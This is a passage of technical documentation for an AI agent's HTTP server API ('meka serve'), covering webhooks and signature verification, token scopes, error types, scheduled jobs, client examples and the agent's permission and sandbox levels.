events is required and every name must be recognised: an endpoint whose only subscription is a typo would be silently never called, so an unknown event is a startup error rather than a warning.
turn.finished and turn.failed cover turns submitted through POST /turn. A scheduled job’s turn fires schedule.fired (which carries its own status) instead, so no turn produces two deliveries. A turn the server runs purely to report a background outcome fires neither: the news is the task’s, and task.finished has already carried it.
task.finished is not a turn event. It fires when a background task reaches a terminal state, whether or not any turn reports it: a cancelled task fires it with no turn at all, and its outcome then rides whichever turn the session takes next. Expect it alongside a turn.finished when a client’s own POST /turn is what carries the outcome, and expect it on its own for a task interrupted by a host that died, which no turn ever ran.
A client that wants to know about everything the agent did should subscribe to all four.
Payloads
Every delivery carries delivery_id, event, timestamp, and event-specific identifiers:
{
"delivery_id": "6c1f...",
"event": "schedule.fired",
"timestamp": "2026-02-01T03:00:00Z",
"job_id": "9f2c...",
"session_id": "550e8400-e29b-41d4-a716-446655440000",
"status": "completed"
}
Payloads never carry message content. A webhook URL is a string in a config file: it can be mistyped, it can outlive whatever owned it, and anything that learns it can reach it. So a delivery tells you what happened to which session, and you fetch the conversation with your own bearer token over the API you already authenticate against. A compromised endpoint learns that a session was active, not what was said in it.
Verifying a delivery
When secret is set, each request carries X-Meka-Signature: sha256=<hex>, an HMAC-SHA256 over <timestamp>.<body> keyed with the secret. The timestamp is inside the signed material, so a captured delivery cannot be replayed forever: reject anything whose X-Meka-Timestamp is too old and the window closes.
Each attempt carries its own timestamp and signature. A retry can land minutes after the first attempt, so re-sending the original stamp would have it rejected by that very window. Deduplicate on X-Meka-Delivery, which stays constant across a delivery’s attempts.
import hmac, hashlib
def verify(secret: str, timestamp: str, body: bytes, signature: str) -> bool:
expected = "sha256=" + hmac.new(
secret.encode(), timestamp.encode() + b"." + body, hashlib.sha256
).hexdigest()
return hmac.compare_digest(expected, signature)
Deliveries also carry X-Meka-Event, X-Meka-Delivery (unique per delivery, for deduplicating retries), and X-Meka-Timestamp.
X-Meka-Timestamp and the body’s timestamp field differ on a retry, deliberately. The header is when this attempt was sent, re-stamped each time, because that is what your replay window is checking; a retry carrying the original time would be rejected as stale by the very check the header exists for. The body’s field is when the event happened and stays fixed across attempts, so ordering and deduplication see one event rather than several.
Omitting secret is allowed for loopback receivers and logs a startup warning; no signature header is sent, rather than one computed over an empty key.
Delivery semantics
Deliveries are notifications, not a durable queue. They are not persisted, not retried across a restart, and outstanding attempts are abandoned when the process exits: a delivery in flight during a SIGTERM is lost. That is the trade for never blocking the work that triggered it. Anything you cannot afford to miss should be reconciled by polling (GET /v1/schedule, GET /v1/sessions/{id}/tasks), with the webhook as the fast path rather than the only one.
Delivery is fire-and-forget on a detached task, so a slow or dead receiver never wedges the scheduler behind it. A 5xx or a transport error is retried with exponential backoff (1s, 2s, 4s, capped at 30s) up to max_retries. A 4xx is not, since retrying cannot fix a request the receiver considers malformed, with two exceptions: 429 Too Many Requests and 408 Request Timeout say “not now” rather than “not ever” and are retried like a 5xx. That matters because several jobs sharing a cron minute deliver as a burst, which is exactly when a receiver rate-limits. Retry-After is not honoured; the backoff above is used regardless. After the last attempt meka logs one warn and gives up. Turn cancellations are not delivered: the client that cancelled already knows.
Permission modes over HTTP
The same five permission levels apply: none, read, workspace, ask, unrestricted. Set the level at session creation or update it via PATCH /v1/sessions/{id}.
Ask mode
In ask mode with stream: true, the agent emits a permission_required SSE event when it needs to run a gated tool. The stream stays open while waiting. Your client resolves it by POSTing to the responses endpoint:
POST /v1/sessions/{id}/responses/{request_id}
Content-Type: application/json
{"outcome": "allow"}
Possible outcomes:
| Outcome | Effect |
|---|---|
allow | Run this tool call |
deny | Refuse this tool call |
allow_always | Allow this and all future calls to this tool (session-scoped) |
deny_always | Deny this and all future calls to this tool (session-scoped) |
If no response arrives within 60 seconds, the permission defaults to deny.
Ask mode with blocking turns
When stream: false and the session is in ask mode, there is no SSE channel for permission prompts. The agent runs the turn with tool permissions auto-denied; each denied tool appends a notice to the response explaining what happened and suggesting permission: "workspace" or stream: true.
MCP elicitations (interactive form prompts from MCP servers) are always auto-declined over HTTP; there is no channel for interactive input. A notice event is emitted when this happens.
Recommendation: non-interactive callers (bots, bridges, scripts) should create sessions with permission: "read" or permission: "workspace" so auto-deny never triggers. Use stream: true if you need approval flow.
Authentication
Every request requires Authorization: Bearer <token>, except the two health probes and, when [serve].docs is enabled, /v1/openapi.json and /v1/docs. Both of those are off by default, so on a default deployment they answer 404 rather than serving anything unauthenticated.
Scopes
Each token carries a set of scopes that control what it can access:
| Scope | Permits |
|---|---|
sessions:r | List sessions, get details, read messages, context occupancy, export, tools, background tasks, re-attach a stream |
sessions:w | Create, modify, delete sessions; submit and cancel turns; compact, rewind, import; respond to permission prompts; cancel background tasks |
skills:r | Read installed skills, including bodies |
skills:w | Create, update, delete skills |
memory:r | Read the memory store |
memory:w | Create, update, delete memories |
schedule:r | List scheduled jobs. GET /v1/schedule is server-wide and returns each job’s full prompt, so this reads instruction text and not just schedules. A gate’s check is withheld unless the token also holds sessions:r |
schedule:w | Create and cancel scheduled jobs. A job’s prompt runs a full turn with tools, so this is deferred turn execution, not just bookkeeping. A job’s optional gate runs a shell command or a read-only tool call and additionally requires sessions:w (see below) |
mcp:r | Read MCP server status and advertised tools |
mcp:w | Reconnect an MCP server |
Discovery endpoints (/v1/info, /v1/skills, /v1/mcp, /v1/providers) accept any token with at least one read scope. Two deliberately do not: GET /v1/skills/{name} needs skills:r and GET /v1/instructions needs sessions:r, because both return instruction text rather than a listing.
Scopes are flat: memory:r does not imply memory:w, and neither implies the other. Operations on a conversation stay under sessions:*, because the thing being read or changed is one session. The process-wide stores carry their own scopes so a bridge token that runs turns cannot also empty the memory store or plant an unattended scheduled job.
An unrecognised scope logs a warning at startup and grants nothing, so a typo like sessions:write is visible rather than silently inert.
Note:
[skills] agent_managedand[memory] enabledgovern what the model may do on its own initiative. They do not gate these endpoints. A token is the operator acting remotely, equivalent to runningmeka skill addin a shell, so askills:wtoken writes skills even whenagent_managed = false.
Token configuration
Tokens are configured under [[serve.tokens]] in your config. Three forms are supported:
# Inline plaintext, development only (a startup warning is logged)
[[serve.tokens]]
token = "sk_dev_test123"
scopes = ["sessions:r", "sessions:w"]
# Environment variable substitution, recommended for CI/containers
[[serve.tokens]]
token = "${MEKA_BRIDGE_TOKEN}"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]
# File-based, recommended for production (chmod 0600)
[[serve.tokens]]
token_file = "/etc/meka/bridge.token"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]
Token comparison uses constant-time equality to prevent timing side-channel attacks. Tokens never appear in logs; only a truncated SHA-256 fingerprint is used for diagnostics.
Idempotency
Blocking turn submissions (stream: false) support Stripe-style idempotency via the Idempotency-Key header:
curl -X POST http://localhost:8080/v1/sessions/$ID/turn \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-H "Idempotency-Key: 7f8a9b0c-1234-5678-abcd-ef0123456789" \
-d '{"message": "deploy to staging"}'
If the same key is replayed, the server returns the cached response. If the same key is sent with a different body, it returns 409 Conflict.
Keys are scoped per-token and per-session, and expire after 24 hours. The session is part of the scope because an Idempotency-Key names your unit of work: sending the same key to two sessions is a reasonable thing to do, and it now runs both turns instead of answering the second with the first’s transcript.
A turn that was cancelled is not cached, so the retry the cancellation invites can actually run. Neither is a 5xx, for the same reason.
The cache is bounded per token by both entry count and total bytes; a response too large to keep is not cached, and its retry re-executes.
Idempotency keys are ignored for streaming responses; streaming clients should reconnect by submitting a new turn.
Which endpoints are safe to retry
Idempotency-Key covers blocking turns only. For everything else, know what a blind retry does before you configure one:
| Endpoint | Retry-safe | On a duplicate |
|---|---|---|
POST /turn (blocking, with a key) | yes | cached response returned |
POST /cancel, DELETE /v1/sessions/{id}, DELETE /v1/sessions/{id}/tasks/{task_id} | yes | already-done is the same state |
DELETE /v1/skills/{name}, /v1/memory/{name}, /v1/schedule/{job_id} | yes, but | the resource is gone, so the retry answers 404. Expected, not a failure – treat it as success if you are retrying blind |
PUT /v1/skills/{name}, PUT /v1/memory/{name} | yes | same body writes the same skill file or memory row |
POST /compact | mostly | a second compaction summarises the summary; fidelity drops, nothing is lost |
POST /rewind | no | drops another turn. A client that retries on a connection error loses conversation |
POST /sessions/import | no | creates a second copy of the tree under new ids |
POST /sessions/{id}/schedule | no | creates a second job |
The three marked no are administrative operations meant to be driven deliberately. If your HTTP stack retries failed POSTs by default, exclude them, or check the outcome first: POST /rewind returns messages_before and messages_after, and GET /messages returns a revision that increments on every rewrite.
Error handling
All HTTP error responses use RFC 9457 Problem Details with Content-Type: application/problem+json:
{
"type": "https://meka.so/errors/session-not-found",
"title": "Session not found",
"status": 404,
"detail": "Session 's_xyz' does not exist.",
"instance": "/v1/sessions/s_xyz/turn"
}
The type URI is the stable, machine-readable error code. Route error handling on type, not on status or detail.
Error detail redaction: Validation errors (
422) return a generic detail message (e.g."invalid session creation request body") rather than echoing internal field names or parser diagnostics. Consult the OpenAPI spec for the expected request schema.A
502on a turn carries the provider’s own response text in aprovider_responsemember when[serve] relay_provider_errorsis on, which is the default; a deployment that has turned it off omits the member entirely. It exists because the upstream’s error type is the actionable part and a client that cannot see it is left guessing.detailstays meka’s own sentence either way, so nothing is traded for it, and the relayed text is capped at 4 KiB with the cut marked. The full text goes to the server log regardless.
provider_responseis readable atsessions:r. Submitting a turn takessessions:w, but the failure also rides the terminalturn.failedevent, whichGET /v1/sessions/{id}/streamreplays to any reader. Since an upstream refusal can name the operator’s provider account and its rate-limit posture, set[serve] relay_provider_errors = falsewhere read-only tokens go to people who may watch a session but are not entitled to the account behind it.The
503a turn gets when a required MCP server is down is not covered by that key and never relays: the server names travel, the connector’s reason does not, since it is meka’s own subprocess text and has carried a command line and its path. The endpoints under/v1/mcpdo relay their reason, since a caller naming one server and asking why it will not connect is asking for it.
Error types
| Type | Status | Meaning |
|---|---|---|
/errors/auth | 401 | Missing or invalid bearer token |
/errors/auth-scope | 403 | Token lacks the required scope |
/errors/session-permission | 403 | The token is fine; the session sits too low. Raise it with PATCH /v1/sessions/{id} – a better token will not help |
/errors/session-not-found | 404 | Unknown session ID |
/errors/not-found | 404 | Unknown skill, memory, MCP server, background task, or turn stream |
/errors/session-not-loaded | 409 | The session exists but is not in memory; submit a turn to load it. Do not retry POST /cancel – there is no turn to cancel |
/errors/session-locked | 409 | Another meka process holds the session’s DB lock (e.g. two meka serve instances sharing one DB); wait or restart the other process |
/errors/turn-in-flight | 409 | A turn is already running on this session within this process; cancel it via POST /cancel first |
/errors/turn-cancelled | 409 | Turn was cancelled |
/errors/store-read-only | 409 | The skill lives under a [skills] extra_paths root; meka reads those but never writes to them, so writing here would shadow the file rather than change it |
/errors/session-not-drivable | 422 | The id names a sub-agent’s conversation. Reading it is unaffected; continuing it means agent_followup from the parent, whose id the message names. Do not retry with a corrected payload: no body addressed at this id is accepted |
/errors/request-not-found | 404 | Unknown or expired request_id |
/errors/idempotency | 409/429 | Key conflict (body mismatch: 409; cache cap: 429) |
/errors/invalid-body | 400/422 | Request body validation failed (422), or a path/query parameter the router rejected (400) |
/errors/payload-too-large | 413 | Body exceeds max_body_bytes |
/errors/concurrency-limit | 429 | Process-wide turn limit reached (Retry-After header included) |
/errors/sse-lag | 500 | SSE consumer fell behind; stream terminated (see SSE lag) |
/errors/stream-detached | 500 | SSE-only. A re-attached stream ended with no recorded outcome because the turn’s task died; read GET /messages for what completed |
/errors/provider | 502 | An upstream call failed for a reason meka could not classify as transient. Usually permanent (a revoked credential, a base_url that is not the API), but it is a catch-all, so treat it as “no reason to expect a retry to help” rather than “a retry cannot help” |
/errors/provider-unavailable | 502 | The upstream failed in a way meka’s classifier had already labelled transient. Worth one backed-off resend. Carries a Retry-After when the upstream gave one, which most of the time it did not |
/errors/context-overflow | 502 | The conversation exceeds the model’s context window and could not be compacted further. Do not retry unchanged; shorten it first. Carries provider_response like the two above, since the upstream is what refused it |
/errors/mcp-unavailable | 503 | An MCP server marked required was not connected, so the turn was refused before reaching the provider. The servers extension names them; each one’s reason is in the server log |
/errors/internal | 500 | Unhandled server error |
Streaming turns that fail mid-stream emit a turn.failed SSE event with the same error shape, then close the connection.
The three 502s are the ones worth branching on.
/errors/provider-unavailableis the positive signal: meka’s classifier recognised the failure as transient, which covers an overload, a 5xx, a dropped connection and a stalled stream. Resend it after a pause./errors/context-overflowis the flat refusal: the request no longer fits and will not fit next time either, so retrying it unchanged loops until your client gives up; shorten the conversation withPOST /v1/sessions/{id}/compactor send less.
/errors/provideris the absence of the first signal, not the opposite of it. It is a catch-all covering everything meka could not place, so a revoked credential lands there and so does a 408, a truncated response body, and any mid-stream error type meka does not yet recognise. Most of the time it is permanent and worth surfacing to a human rather than retrying, but do not build a client that will never retry it: one unhurried resend is reasonable, an unbounded loop is not.Branch on
type, not onRetry-After. ARetry-Afteris present only when the upstream volunteered one in delta-seconds form, which most transient failures do not: a dropped connection never produced a response to carry a header, a mid-streamoverloaded_errorhas no headers at all, and an upstream answering with an HTTP date sends none meka can read. Treating its absence as “permanent” discards turns a second attempt would have completed, which is the reason these two types exist separately.Neither provider type says how many attempts meka made first. It declines to retry at all once any output has reached the stream or its retry budget is spent, and a cancelled turn abandons the sequence wherever it stands, so one of these can reach you after three attempts or after none.
/errors/provider-unavailableclaims a failure class, not that your next attempt will succeed.A
Retry-Afteron a/errors/provider-unavailableresponse is the upstream’s own, relayed up to an hour. Honour it in preference to your own backoff. The other two never carry one.
Discovery endpoints
These endpoints help clients inspect the server’s capabilities at runtime.
| Endpoint | Auth | Description |
|---|---|---|
GET /v1/health/live | None | Liveness probe: 200 if the process is up |
GET /v1/health/ready | None | Readiness probe: 200 if the DB is healthy, at least one provider profile is configured, and no required MCP server has failed. A failed optional server doesn’t affect readiness, since it can’t stop a turn either. Returns status, session_db, provider_configured, and mcp_servers_healthy (boolean, no server names). provider_configured means a profile exists in config.toml, not that it has a usable credential: a profile’s credential is checked when a session first needs it, so a server can be ready and still answer 422 to POST /v1/sessions. |
GET /v1/providers | Any read scope | Configured provider profiles: name, type, model, and active: true on the one a session gets when it names none. Read-only; profiles come from config.toml |
GET /v1/info | Any read scope | Server version and permission surface. vision reports whether the default profile accepts image attachments; a session on another profile follows that one. Carries no provider or model: GET /v1/providers reports both per profile and marks the default with active |
GET /v1/skills | Any read scope | Installed skills |
GET /v1/mcp | Any read scope | MCP server connection status |
GET /v1/openapi.json | None, and off unless [serve].docs is set | OpenAPI 3 spec |
GET /v1/docs | None, and off unless [serve].docs is set | Swagger UI |
Session lifecycle
Idle timeout and GC
A background garbage collector scans in-memory sessions and evicts those that have been idle longer than idle_timeout:
[serve]
idle_timeout = "24h"
gc_scan_interval = "5m"
Eviction drops the in-memory state (agent runtime, conversation buffer, cancellation tokens) but keeps the SQLite row. A later request with the same session ID transparently re-attaches and continues the conversation.
To also remove the DB row on eviction:
[serve]
delete_on_idle = true
Sessions with an in-flight turn are never evicted.
Graceful shutdown
meka serve handles SIGTERM / SIGINT with a controlled drain:
- Stop accepting new connections.
- Cancel all in-flight turns (same mechanism as
POST /cancel). - Emit
turn.cancelledwithreason: "server_shutdown"on open SSE streams. - Wait up to
shutdown_drain_timeoutfor every turn to finish unwinding, including scheduled fires, background-outcome deliveries, and turns whose client has already disconnected. Cancelling a turn is not the same as waiting for one: what follows the cancellation is the commit of the partial reply and of whatever the round already produced. - Exit
0. A drain that hits the timeout instead logs a warning, abandons what is still running, and exits1, so a supervisor can tell the two apart.
[serve]
shutdown_drain_timeout = "30s"
Concurrency
- Per session: one turn at a time. A second
POST /turnreturns 409. - Across sessions: fully concurrent. Multiple sessions can run turns in parallel.
- Process-wide cap (optional): set
max_concurrent_turnsto limit total in-flight turns. Exceeding the cap returns 429 with aRetry-Afterheader.
Configuration
All settings live under [serve] in your config.toml. See the [serve] section of the config file reference for the full field list.
Minimal example:
[serve]
bind = "127.0.0.1:8080"
[[serve.tokens]]
token = "${MEKA_API_TOKEN}"
scopes = ["sessions:r", "sessions:w"]
Full example:
[serve]
bind = "0.0.0.0:8080"
max_body_bytes = 10485760 # 10 MiB (default)
max_concurrent_turns = 20
idle_timeout = "24h"
gc_scan_interval = "5m"
delete_on_idle = false
shutdown_drain_timeout = "30s"
# Bridge token, env var substitution
[[serve.tokens]]
token = "${BRIDGE_TOKEN}"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]
# Admin token, file-based
[[serve.tokens]]
token_file = "/etc/meka/admin.token"
description = "operator debugging"
scopes = ["sessions:r", "sessions:w", "mcp:r", "skills:r"]
Client recipes
Telegram bridge (Python)
import httpx
MEKA_URL = "http://localhost:8080"
MEKA_TOKEN = os.environ["MEKA_TOKEN"]
async def handle_message(chat_id: str, text: str):
session_id = await get_or_create_session(chat_id)
resp = await httpx.AsyncClient().post(
f"{MEKA_URL}/v1/sessions/{session_id}/turn",
headers={"Authorization": f"Bearer {MEKA_TOKEN}"},
json={"message": text},
timeout=httpx.Timeout(600.0, connect=5.0),
)
resp.raise_for_status()
return resp.json()["final_text"]
Web UI (TypeScript, streaming)
const resp = await fetch(`${MEKA_URL}/v1/sessions/${sessionId}/turn`, {
method: "POST",
headers: {
Authorization: `Bearer ${token}`,
"Content-Type": "application/json",
},
body: JSON.stringify({ message: input, stream: true }),
});
const reader = resp.body!.getReader();
const decoder = new TextDecoder();
// ... parse SSE events from the stream
Shell script
#!/usr/bin/env bash
set -euo pipefail
TOKEN="sk_..."
BASE="http://localhost:8080"
# Create a session
SESSION=$(curl -sf -X POST "$BASE/v1/sessions" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"cwd\": \"$(pwd)\"}" | jq -r .id)
# Run a turn
RESULT=$(curl -sf -X POST "$BASE/v1/sessions/$SESSION/turn" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"message": "summarize this project"}')
echo "$RESULT" | jq .final_text
# Clean up
curl -sf -X DELETE "$BASE/v1/sessions/$SESSION" \
-H "Authorization: Bearer $TOKEN"
Scheduled jobs
meka serve is the durable host for scheduled wakeups. It fires every job in the database, reviving evicted sessions on demand, so jobs keep running whether or not a client is connected and survive a restart of the server.
An agent-initiated turn has no HTTP request to respond to, so its output is persisted to the session like any other turn. Read it back with GET /v1/sessions/{id}/messages.
Reverse proxy setup
For production deployments behind nginx:
location /v1/ {
proxy_pass http://127.0.0.1:8080;
proxy_buffering off;
proxy_cache off;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_read_timeout 600s;
}
Key points:
- Disable buffering: SSE events must not be buffered.
- Extend read timeout: turns can take minutes; the default 60s is too short.
- Do not compress: gzip/brotli on SSE responses swallow events. Exclude the
/turnroute from compression middleware.
Endpoint reference
| Method | Path | Auth | Description |
|---|---|---|---|
| GET | /v1/health/live | None | Liveness probe |
| GET | /v1/health/ready | None | Readiness probe |
| GET | /v1/info | read | Server version and permission surface |
| GET | /v1/skills | read | Installed skills |
| GET | /v1/mcp | read | MCP server status |
| POST | /v1/sessions | sessions:w | Create session |
| GET | /v1/sessions | sessions:r | List sessions |
| GET | /v1/sessions/{id} | sessions:r | Get session |
| PATCH | /v1/sessions/{id} | sessions:w | Update session |
| DELETE | /v1/sessions/{id} | sessions:w | Delete session |
| POST | /v1/sessions/{id}/fork | sessions:w | Fork session |
| GET | /v1/sessions/{id}/messages | sessions:r | List messages |
| POST | /v1/sessions/{id}/turn | sessions:w | Submit turn |
| POST | /v1/sessions/{id}/cancel | sessions:w | Cancel turn |
| POST | /v1/sessions/{id}/responses/{request_id} | sessions:w | Resolve permission prompt |
| GET | /v1/sessions/{id}/stream | sessions:r | Re-attach to the current turn’s SSE stream |
| POST | /v1/sessions/{id}/compact | sessions:w | Summarise the conversation now |
| GET | /v1/sessions/{id}/context | sessions:r | Context occupancy and cumulative usage |
| POST | /v1/sessions/{id}/rewind | sessions:w | Drop trailing turns |
| GET | /v1/sessions/{id}/export | sessions:r | Full transcript (?format=markdown|json) |
| POST | /v1/sessions/import | sessions:w | Recreate a session tree from an export |
| GET | /v1/sessions/{id}/tools | sessions:r | Tool catalogue for this session (409 if not loaded) |
| GET | /v1/sessions/{id}/tasks | sessions:r | Background tasks |
| DELETE | /v1/sessions/{id}/tasks/{task_id} | sessions:w | Cancel a background task |
| GET | /v1/schedule | schedule:r | All scheduled jobs |
| GET | /v1/sessions/{id}/schedule | schedule:r | Scheduled jobs for one session |
| POST | /v1/sessions/{id}/schedule | schedule:w (+ sessions:w for a gate) | Create a scheduled job |
| DELETE | /v1/schedule/{job_id} | schedule:w | Cancel a scheduled job |
| GET | /v1/skills/{name} | skills:r | One skill, with its body |
| PUT | /v1/skills/{name} | skills:w | Create or update a skill |
| DELETE | /v1/skills/{name} | skills:w | Delete a skill |
| GET | /v1/memory | memory:r | Memory index |
| GET | /v1/memory/{name} | memory:r | One memory, with its body |
| PUT | /v1/memory/{name} | memory:w | Create or update a memory |
| DELETE | /v1/memory/{name} | memory:w | Delete a memory |
| GET | /v1/mcp/{name}/tools | mcp:r | Tools one MCP server advertises |
| POST | /v1/mcp/{name}/reconnect | mcp:w | Reconnect an MCP server |
| GET | /v1/instructions | sessions:r | Resolved system instructions |
| GET | /v1/providers | read | Configured provider profiles |
| GET | /v1/openapi.json | None, and off unless [serve].docs is set | OpenAPI spec |
| GET | /v1/docs | None, and off unless [serve].docs is set | Swagger UI |
GET /v1/sessions takes include_children=true to list sub-agent sessions alongside top-level ones, and cwd=<path> to filter by working directory. Every session record carries parent_id, which is what reconnects a spawned worker to the session that dispatched it.
A memory record carries both updated_at (when the row last changed) and recorded_at (when the memory was made, stamped once at creation), plus its tags. The two timestamps are deliberately separate: a description edit moves updated_at without the note saying anything new, and it is recorded_at that the model is shown as an age. PUT /v1/memory/{name} accepts tags with the same omit-to-keep rule as body – omit to leave an existing memory’s labels alone, send [] to clear them.
GET /v1/memory/{name} answers 404 for a name that is not stored, with no 422 case: a memory is a row, so there is no file to be present but unparseable. Reading through this endpoint deliberately does not increment the memory’s read count – an operator is not the agent recalling anything, and the count feeds search ranking.
Descriptions and bodies are returned exactly as stored, not as they are rendered into a model’s context: this endpoint is a backup and inspection door, like meka memory export, and stripping characters out of a note on the way through would make a restore lossy. JSON escaping keeps that safe in transit, but a client that decodes and prints the text to a terminal should neutralise it, as meka does at its own render boundaries.
These four endpoints are not gated by [memory] enabled. That switch decides whether an agent keeps memories; a token is the operator, so it reaches a store that already exists exactly as meka memory list does in a shell.
A scheduled job’s optional gate is the sharpest grant on this API, and how sharp depends on what it checks. It requires sessions:w in addition to schedule:w either way.
A shell gate ("check": {"command": "…"}) runs through sh -c as the user running meka serve, on a timer, before the turn and independently of it, so it needs no working provider and no model to execute. The session must be at unrestricted. This is the one grant workspace does not carry: the command runs outside the turn, so nothing confines it to the workspace roots, and the API’s own 403 says unrestricted.
A tool gate ("check": {"tool": "…", "arguments": {…}}) is not held to that bar. It may only name a tool meka resolves to read, and the session need only be at read. Both facts are re-checked on every fire, so a tool that resolves higher after a config change stops being a gate.
execute_command is one such tool wherever a sandbox backend is usable, so a read session can plant an arbitrary command on a timer through the tool form. That is deliberate and it is not the same grant as the shell form: a gate dispatches at read, the level meka sandboxes, so the command runs read-only-confined rather than as a bare sh -c, and where no sandbox is available the tool resolves above read and the gate is refused instead. The confinement blocks writes, not the network. See Scheduled jobs for the longer version.
No job of any kind can be created on a session at none, gated or not: nothing is dispatchable there, so the turn could neither act on the job nor cancel it, and POST /v1/sessions/{id}/schedule answers 403 session-permission rather than creating a row that can never run. A job whose session drops to none afterwards keeps its row and reports itself: every job view carries a withheld field, present only when something is holding the job back, with the same sentence the agent is given. It is computed per request from the session’s current level, so it tracks a PATCH /v1/sessions/{id} without the job being rewritten.
A schedule:*-only token can still plant ordinary prompt-only jobs; it cannot reach a gate at all. Scope a bridge accordingly, and note that GET /v1/schedule is server-wide, so schedule:r alone lists every session id in the database.
DELETE /v1/schedule/{job_id} and DELETE /v1/sessions/{id}/tasks/{task_id} both accept a unique id prefix as well as the full id, matching meka schedule cancel and the schedule_cancel / task_cancel tools – the 8-character short form those surfaces print is enough. An id matching nothing is a 404 and one matching several is a 422, so a typo is never reported as a cancellation. A job that a scheduler sweep retired between the lookup and the delete is a 404 as well, for the same reason: 204 means this request cancelled the job, not merely that it is gone.
Cancelling a background task records the cancellation and signals the running task, but only meka serve can signal work meka serve started. If the session is open in another process (a meka -r REPL, say), the row is marked cancelled and the command keeps running there until it ends on its own; its result is then discarded, because the row is no longer running.
POST /v1/mcp/{name}/reconnect answers 200 with where the server now stands, which is not the same as “it worked”: read state, not the status code. An attempt that ran and failed is a 200 carrying state: "failed", not a 502. A server the startup sweep is still connecting comes back as state: "pending" with no attempt made, so a dashboard polling GET /v1/mcp during startup does not mistake “still coming up” for “down”. The two non-200s are narrow: 422 when the server is disabled in config, and 502 when an already-connected server’s transport could not be re-established within [mcp] connect_timeout_seconds.
MCP OAuth login and logout are deliberately absent: the flow opens a browser and pastes back a callback, which does not belong on a service-to-service surface. Use meka mcp login on the host. /v1/providers is read-only for the same reason provider selection has no environment tier: an ambient value must never silently rebind which account a named profile bills.
For full request/response schemas, see /v1/openapi.json on a running server, or browse it interactively at /v1/docs (Swagger UI).
Both are off unless you set [serve].docs, and both are unauthenticated when on, so CI pipelines and code generators can fetch the spec without a token. That combination is what makes them opt-in: they take no token and they publish the shape of every endpoint the deployment exposes, which is useful on a workstation and reconnaissance anywhere else.
Exporting the spec
Save a local copy for offline use or code generation:
curl -s http://localhost:8080/v1/openapi.json -o openapi.json
Code generation
Generate a typed client from the exported spec:
# Python (openapi-python-client)
openapi-python-client generate --path openapi.json
# TypeScript (openapi-typescript)
npx openapi-typescript openapi.json -o src/api.d.ts
# Go (oapi-codegen)
oapi-codegen -package api openapi.json > api/api.gen.go
# Rust (progenitor)
cargo progenitor-client openapi.json
Import into tools
- Postman / Insomnia: Import → URL →
http://localhost:8080/v1/openapi.json - Bruno: Create collection from OpenAPI → paste the URL or a saved file.
- Swagger Editor: File → Import URL →
http://localhost:8080/v1/openapi.json
Permissions
meka uses a five-level permission system to control what tools the agent can use. This gives you control over the agent’s capabilities and prevents accidental modifications.
Permission Levels
| Level | Indicator | What it allows |
|---|---|---|
| None | [n] (green) | No tools. The agent can only respond with text. |
| Read | [r] (yellow) | Read-only tools: read_file, find_files, search_contents, fetch_url, search_web, execute_command (sandboxed read-only), todo, agent_spawn, scratchpad tools |
| Workspace | [w] (orange) | Every tool, no approval prompts, but writes are confined to the workspace roots. Reads stay unrestricted. execute_command runs in a sandbox that permits writes only under those roots |
| Ask | [a] (magenta) | Every tool, writes reach anywhere, no confinement at all, but each call requires user approval (Y/n prompt). execute_command runs unsandboxed once approved, with the same reach as an approved write_file |
| Unrestricted | [u] (red) | Every tool, no approval, no boundary. execute_command runs with no sandbox at all |
The ladder is ordered by reach, not by autonomy. ask sits above workspace because an
approved call at ask can write anywhere on the machine, while workspace cannot leave its roots
however many times it is invoked. The two are genuinely incomparable in the other direction:
workspace is more autonomous (nothing is approved) and ask reaches further.
That holds for the shell as well as the file tools, which it did not before 0.42.0. ask used to
run execute_command in the read-only sandbox, so approving foo > bar produced a permission
error the user had not asked for while an approved write_file in the same session wrote anywhere.
It also stood the ordering on its head, since the shell at ask then reached less far than the
shell at workspace. At ask the approval prompt is the whole gate, and it shows you the command
before it runs.
The workspace boundary
At workspace, a write may land under:
- the working directory (which
/cdmoves), - any folder an ACP client supplied as an additional directory,
- any
--writable-root <PATH>you passed, repeatable.
Roots are resolved to their canonical form, so a symlink inside the workspace that points out of it
resolves to where it actually lands and is refused. A root that does not exist is dropped rather
than trusted; if none resolve, nothing is writable. A --writable-root that does not resolve at
startup is reported as a warning, and kept: a build directory that does not exist yet becomes a root
the moment it does.
The boundary follows the working directory. It is recomputed on every write rather than fixed
when the session starts, so /cd /etc at workspace makes /etc writable from that point on. This
is deliberate: the working directory is the workspace, and a boundary that stayed behind after you
moved would refuse writes to the place you are plainly now working in. The agent has no tool that moves the working
directory, so it cannot relocate its own boundary. You can, with /cd; and under meka serve a
client holding sessions:w can, with PATCH /v1/sessions/{id}.
Because the boundary follows the directory, the directory is recorded on the session row and a
resume reopens it rather than adopting your shell’s. Resuming a workspace session
from $HOME would otherwise make your whole home directory writable without you asking.
One consequence worth knowing: a relative --writable-root resolves against your shell, not
against the session. meka -c --writable-root build run from ~ grants ~/build, while the
session itself may reopen in ~/project. That follows from the flag belonging to the process rather
than to the session; pass an absolute path when you mean a directory inside the session’s.
--writable-root belongs to the process and reaches the REPL, a one-shot run, and an ACP session.
It does not reach a session created through POST /v1/sessions: the HTTP API is single-root, so a session there is confined to its own
cwd and nothing else. Extra roots supplied by an ACP client apply to that client’s session only,
and meka does not report your --writable-root back to the client as though the client had asked
for it.
Because it belongs to the process, it is not recorded on the session either, and resuming a session
does not bring it back: pass it again. This is the difference between it and the provider profile
and permission level, which are recorded and do come back. Writing it to the row would mean a
meka serve sharing the data directory could later grant those roots to a job it fires, on the
authority of a flag that process was never given.
The same set governs both halves, derived once so they cannot disagree: the file tools check it
before writing, and the shell sandbox is built from it. A refusal from write_file names the roots
so the agent can retry somewhere valid.
If [shell].sandbox = false, execute_command is refused at workspace rather than run
unconfined. Nothing else would be holding the boundary, and half a boundary reported as a whole one
is worse than an error that says so. Use unrestricted for those turns.
What it does not cover
Four limits, stated plainly because none of them is visible from the inside:
- MCP servers are not sandboxed. They run in their own process, which meka does not confine, so
a tool from an MCP server can write anywhere the server can, and no boundary meka can express
reaches it. A tool with no permission annotation falls back to
